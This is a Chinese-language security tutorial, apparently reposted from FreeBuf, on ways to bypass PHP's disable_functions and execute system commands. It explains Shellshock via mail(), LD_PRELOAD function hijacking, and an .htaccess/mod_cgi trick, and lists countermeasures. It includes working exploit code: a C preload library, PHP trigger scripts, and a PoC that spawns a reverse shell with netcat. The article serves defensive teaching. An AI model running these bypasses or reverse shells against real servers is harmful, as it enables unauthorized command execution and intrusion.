PHP中經過bypass disable functions執行系統命令的幾種方式

原文:http://www.freebuf.com/articles/web/169156.html

1、爲何要bypass disable functions

爲了安全起見,不少運維人員會禁用PHP的一些「危險」函數,例如eval、exec、system等,將其寫在php.ini配置文件中,就是咱們所說的disable functions了,特別是虛擬主機運營商,爲了完全隔離同服務器的客戶,以及避免出現大面積的安全問題,在disable functions的設置中也一般較爲嚴格。php

攻與防是對立的,也是互相補充的,既然有對函數的禁用措施,就會有人千方百計的去突破這層限制,咱們只有在掌握突破方式以及原理的基礎之上,才能更好的去防範這類攻擊。html

執行系統命令一般是攻擊者拿到網站webshell以後想要進一步動做的必然操做,如若不能執行系統命令,接下來的更深刻的攻擊將很難繼續,因此就有了網站管理者禁用相似exec、system之類函數的現象。然而隨着技術的不斷進步,不斷有新的思路出現,單純的禁用這些函數,某些狀況下已經不能阻止攻擊者達到執行系統命令的目的了,那麼攻擊者用什麼樣的方式突破了disable functions呢?咱們又怎樣防範這樣的攻擊呢?python

2、 Bash漏洞致使的任意命令執行

GNU Bash 環境變量遠程命令執行漏洞(CVE-2014-6271)是GNU Bash 的一個遠程代碼執行漏洞,在這個CVE的介紹中,能夠看到這樣的描述:「GNU Bash 4.3及以前版本中存在安全漏洞,該漏洞源於程序沒有正確處理環境變量值內的函數定義。遠程攻擊者可藉助特製的環境變量利用該漏洞執行任意代碼。如下產品和模塊可能會被利用:OpenSSH sshd中的ForceCommand功能,Apache HTTP Server中的mod_cgi和mod_cgid模塊,DHCP客戶端等」。實際上,PHP也能夠利用這個漏洞作不少事情,甚至有可能直接在80致使遠程命令執行。關於這個漏洞的詳細狀況能夠查閱CVE-2014-6271的相關資料,此處再也不贅述。linux

下面咱們來看一下PHP到底什麼地方能用到bash的這個漏洞呢?其實能夠用的地方不止一處,這裏咱們以mail函數做爲例子,其餘地方同理,能夠自行分析。nginx

PHP的mail函數提供了3個必選參數和2個可選參數,這裏咱們主要看最後一個參數,PHP官方手冊上對最後一個參數的說明:web

「Theadditional_parameters parameter can be used to pass an additional parameter tothe program configured to use when sending mail using the sendmail_pathconfiguration setting. For example, this can be used to set the envelope senderaddress when using sendmail with the -f sendmail option.shell

 

Theuser that the webserver runs as should be added as a trusted user to thesendmail configuration to prevent a ‘X-Warning’ header from being added to themessage when the envelope sender (-f) is set using this method. For sendmailusers, this file is /etc/mail/trusted-users. 「apache

簡單的說就是這個參數能夠經過添加附加的命令做爲發送郵件時候的配置,好比使用-f參數能夠設置郵件發件人等,官方文檔在範例Example #3也有所演示,具體能夠參考官方文檔:http://php.net/manual/zh/function.mail.php瀏覽器

在mail函數的源代碼mail.c中,咱們能夠找到以下代碼片斷:安全

       if (extra_cmd != NULL) {               spprintf(&sendmail_cmd, 0,"%s %s", sendmail_path, extra_cmd);        } else {               sendmail_cmd = sendmail_path;        }

若是傳遞了第五個參數(extra_cmd),則用spprintf將sendmail_path和extra_cmd拼接到sendmail_cmd中(其中sendmail_path就是php.ini中的sendmail_path配置項),隨後將sendmail_cmd丟給popen執行:

#ifdef PHP_WIN32        sendmail = popen_ex(sendmail_cmd,"wb", NULL, NULL TSRMLS_CC); #else        /* Since popen() doesn't indicate if theinternal fork() doesn't work         *(e.g. the shell can't be executed) we explicitly set it to 0 to be         *sure we don't catch any older errno value. */        errno = 0;        sendmail = popen(sendmail_cmd,"w"); #endif

若是系統默認sh是bash,popen會派生bash進程,而咱們剛纔提到的CVE-2014-6271漏洞,直接就致使咱們能夠利用mail()函數執行任意命令,繞過disable_functions的限制。可是這裏其實有一個問題,就是extra_cmd在spprintf以前作了安全檢查,我當前的PHP版本是最新的7.2.4,代碼位置在mail.c的第371-375行:

       if (force_extra_parameters) {               extra_cmd =php_escape_shell_cmd(force_extra_parameters);        } else if (extra_cmd) {               extra_cmd =php_escape_shell_cmd(ZSTR_VAL(extra_cmd));        }

php_escape_shell_cmd函數會對特殊字符(包括&#;`|*?~<>^()[]{}$\, \x0A and \xFF. ‘ 等)進行轉義,那這樣是否是就沒辦法了呢?不是的,咱們能夠經過putenv函數來設置一個包含自定義函數的環境變量,而後經過mail函數來觸發,網上早已有POC。

一樣調用popen派生進程的php函數還有imap_mail,或者還可能有其餘的咱們沒有發現的函數,因此若是要防範這類攻擊,最好的辦法就是從根源上入手,修復CVE-2014-6271這個bash漏洞。

3、LD_PRELOAD:無需bash漏洞

上文說到mail函數利用bash破殼漏洞能夠實現突破disable functions的限制執行系統命令,可是像這樣的漏洞,通常安全意識稍好一點的運維人員,都會打上補丁了,那麼是否是打上補丁以後就必定安全了呢?顯然答案是否認的,LD_PRELOAD是Linux系統的下一個有趣的環境變量:

它容許你定義在程序運行前優先加載的動態連接庫。這個功能主要就是用來有選擇性的載入不一樣動態連接庫中的相同函數。經過這個環境變量,咱們能夠在主程序和其動態連接庫的中間加載別的動態連接庫,甚至覆蓋正常的函數庫。一方面,咱們能夠以此功能來使用本身的或是更好的函數(無需別人的源碼),而另外一方面,咱們也能夠以向別人的程序注入程序,從而達到特定的目的。

它容許你定義在程序運行前優先加載的動態連接庫,咱們只要知道這一件事就足夠了,這說明什麼?這說明咱們幾乎能夠劫持PHP的大部分函數,還拿上文的mail函數做爲例子,上文說過,php的mail函數其實是調用了系統的sendmail命令,那麼咱們來看一下sendmail都調用了哪些庫函數:

1.png

使用readelf -Ws /usr/sbin/sendmail命令來查看,咱們發現sendmail函數在運行過程動態調用了不少標準庫函數,咱們從中隨便選取一個庫函數geteuid進行測試。

首先咱們編寫一個本身的動態連接程序,hack.c:

#include<stdlib.h> #include <stdio.h>        #include<string.h>   void payload() {         system("touch/var/www/html/test"); }     int  geteuid() { if(getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }

當這個共享庫中的geteuid被調用時,嘗試加載payload()函數,執行命令,在/var/www/html目錄下建立一個名字爲test的文件。這裏實際應用時應該注意編譯平臺和目標儘可能相近,以及注意路徑問題,避免沒必要要的麻煩,這裏咱們僅僅做爲測試,不考慮這些問題。

[root@localhostadwin]# gcc -c -fPIC hack.c -o hack [root@localhostadwin]# gcc -shared hack -o hack.so

咱們把hack.so放到WEB目錄,而後編寫一個PHP文件進行測試:

<?php putenv("LD_PRELOAD=/var/www/html/hack.so"); mail("adwin@localhost","","","",""); ?>

咱們的/var/www/html/目錄下原本只有hack.so和index.php這兩個文件,當咱們在瀏覽器中訪問index.php頁面以後,能夠看到目錄下又多出了一個test文件,說明咱們的系統命令執行成功。

2.png

(PS:筆者實際測試時的環境是VMPlayer7+CentOS7+Apache2.4+PHP7.2.4的環境,測試時遇到一個問題,就是每次刷新訪問index.php時,虛擬機的VM進程會瘋狂的讀寫硬盤,幾乎獨佔磁盤的全部活動時間(機械硬盤),致使虛擬機卡頓到連鼠標都沒法移動,物理機也所以受到影響明顯卡頓,約半小時左右這種狀況會忽然消失,最終測試結果成功。不知道是什麼緣由引發這種現象,須要進一步研究,但不在本文討論範圍以內。)

這種繞過行爲實施起來很簡單,而且目前爲止還不受PHP與Linux版本的限制,可是也很容易防護,只要禁用相關的函數(putenv)或者限制對環境變量的傳遞就能夠了,可是要注意對現有業務是否形成影響。

其實對於這個問題,早在2008年就有人向PHP官方反饋過,只不過PHP給出的回覆是你最好禁用putenv函數:https://bugs.php.net/bug.php?id=46741,因此咱們有理由相信在後續的PHP版本中也不會對這個問題有什麼針對性的解決方案。

4、.htaccess:不止重定向

你們對.htaccess文件必定不陌生,沒錯,在apache的WEB環境中,咱們常常會使用.htaccess這個文件來肯定某個目錄下的URL重寫規則,特別是一些開源的CMS或者框架當中常常會用到,好比著名的開源論壇discuz!,就能夠經過.htaccess文件實現URL的靜態化,大部分PHP框架,例如ThinkPHP和Laravel,在apache環境下會用.htaccess文件實現路由規則。可是若是.htaccess文件被攻擊者修改的話,攻擊者就能夠利用apache的mod_cgi模塊,直接繞過PHP的任何限制,來執行系統命令。

關於mode_cgi,能夠參考apache的官方說明:http://man.chinaunix.net/newsoft/ApacheManual/mod/mod_cgi.html

「任何具備mime類型application/x-httpd-cgi或者被 cgi-script處理器(Apache 1.1或之後版本)處理的文件將被做爲CGI腳本對待並由服務器運行, 它的輸出將被返回給客戶端。經過兩種途徑使文件成爲CGI腳本,或者文件具備已由 AddType指令定義的擴展名,或者文件位於 ScriptAlias目錄中。」,這就表示,apache容許WEB服務器與可執行文件進行交互,這就意味着,你能夠用C或者python編寫WEB應用,聽起來咱們好像能夠作任何apache權限用戶能作的事情了,那麼到底如何實現呢?

首先須要知足幾個條件,第一,必須是apache環境,第二,mod_cgi已經啓用(在個人環境下是默認啓用的),第三,必須容許.htaccess文件,也就是說在httpd.conf中,要注意AllowOverride選項爲All,而不是none,第四,必須有權限寫.htaccess文件。其實這幾個條件仍是比較容易知足的,知足了以上的條件,就能夠「搞事情」了。

在apache的配置中,有一個很是重要的指令,Options,Options指令是Apache配置文件中一個比較常見也比較重要的指令,Options指令能夠在Apache服務器核心配置(server config)、虛擬主機配置(virtual host)、特定目錄配置(directory)以及.htaccess文件中使用。Options指令的主要做用是控制特定目錄將啓用哪些服務器特性。關於Options指令後能夠附加的特性選項的具體做用及含義,能夠參考這篇文章:http://www.365mini.com/page/apache-options-directive.htm,固然咱們用到的就是ExecCGI選項,表示容許使用mod_cgi模塊執行CGI腳本。除了Options,咱們還要配合另一個AddHandler指令來使用,若是你對AddHandler不太熟悉不要緊,這麼解釋一下就容易理解多了:AddType咱們確定很熟悉,好比配置apache對PHP的支持的時候,常常會添加一行相似AddTypeapplication/x-httpd-php .php這樣的配置,這實際上是指定了文件擴展名和內容類型之間的映射關係,而AddHandler則是指定擴展名和處理程序之間的關係,也就是說,能夠指定某個特定的擴展名的文件,如何來進行處理。

有了Options和AddHandler,咱們就能夠隨便指定一個特定的文件擴展名以特定的程序來處理,這樣思路就很清晰了:先把要執行的程序寫入一個特定擴展名的文件裏,而後修改.htaccess文件,經過Options指令容許使用mod_cgi模塊執行CGI腳本,而後再讓咱們特定的擴展名以cgi-script進行處理,這樣咱們甚至能夠反彈一個shell出來。

POC以下,附註釋:

<?php $cmd = "nc -c'/bin/bash' 127.0.0.1 4444"; //反彈一個shell出來,這裏用本地的4444端口 $shellfile ="#!/bin/bash\n"; //指定shell $shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //須要指定這個header,不然會返回500 $shellfile .="$cmd"; functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter {     echo "$text: " . ($condition ?$yes : $no) . "<br>\n"; } if(!isset($_GET['checked'])) {     @file_put_contents('.htaccess',"\nSetEnv HTACCESS on", FILE_APPEND);     header('Location: ' . $_SERVER['PHP_SELF']. '?checked=true'); //執行環境的檢查 } else {     $modcgi = in_array('mod_cgi',apache_get_modules()); // 檢測mod_cgi是否開啓     $writable = is_writable('.'); //檢測當前目錄是否可寫     $htaccess = !empty($_SERVER['HTACCESS']);//檢測是否啓用了.htaccess         checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No");         checkEnabled("Iswritable",$writable,"Yes","No");         checkEnabled("htaccessworking",$htaccess,"Yes","No");     if(!($modcgi && $writable&& $htaccess))     {         echo "Error. All of the above mustbe true for the script to work!"; //必須知足全部條件     }     else     {         checkEnabled("Backing up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in .htaccess.bak","Failed!"); //備份一下原有.htaccess         checkEnabled("Write .htaccessfile",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandlercgi-script .dizzle"),"Succeeded!","Failed!");//.dizzle,咱們的特定擴展名         checkEnabled("Write shellfile",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!");//寫入文件         checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//給權限         echo "Executing the script now.Check your listener <img src = 'shell.dizzle' style ='display:none;'>"; //調用     } } ?>

咱們在本地開nc監聽4444端口,而後在瀏覽器中打開這個頁面,若是執行成功,將會反彈一個shell到4444端口:

3.png

當訪問POC的時候,成功反彈了一個shell到本地的4444端口,能夠看到執行id命令後的回顯。

5、其餘方式

除上述方式外,在某些特定狀況下,還有不少可以繞過php.ini的禁用函數達到執行系統命令目的的方法,可是因爲這些方法受到的限制頗多,不多有知足條件的真實環境,因此鑑於篇幅緣由,如下只粗略介紹幾個其餘繞過方式,並提供相關的詳細介紹的文章連接,若是有興趣詳細瞭解,能夠參考互聯網上的相關資料。

ImageMagick

ImageMagick是一款使用量很廣的圖片處理程序,不少廠商包括Discuz、Drupal、Wordpress等經常使用CMS中也調用了ImageMagick擴展或ImageMagick庫進行圖片處理,包括圖片的伸縮、切割、水印、格式轉換等等。在ImageMagick6.9.3-9之前的全部版本中都存在一個漏洞,當用戶傳入一個包含『畸形內容』的圖片的時候,就有可能觸發命令注入,官方在6.9.3-9版本中對漏洞進行了不徹底的修復。關於這個漏洞的具體利用和防護方式能夠參考:http://wooyun.jozxing.cc/static/drops/papers-15589.html

pcntl_exec

pcntl是linux下的一個擴展,能夠支持php的多線程操做。不少時候會碰到禁用exec函數的狀況,但若是運維人員安全意識不強或對PHP不甚瞭解,則頗有可能忽略pcntl擴展的相關函數。

COM組件

Windows環境下,當php.ini的設置項com.allow_dcom =true時,能夠經過COM組件執行系統命令,甚至開啓安全模式也能夠,相關資料參考:https://www.exploit-db.com/exploits/4553/

win32std

win32std是一個很老的PHP擴展,其中的win_shell_execute函數能夠用來執行Windows系統命令:https://www.exploit-db.com/exploits/4218/

6、總結

對於入侵者來講,拿到一個webshell以後,若是想要進一步獲取更高的權限或更多的數據和信息,執行系統命令幾乎是必須的。當咱們在PHP應用中出現了某些紕漏致使遭到入侵時,如何讓損失降到最低就成了首要的問題。從本文已經列舉的方法中不難看出只要掌握了這些原理,防範工做是很是簡單有效的,只要常常關注安全動態,是徹底能夠作到對以上繞過措施進行防護的。

相關文章
相關標籤/搜索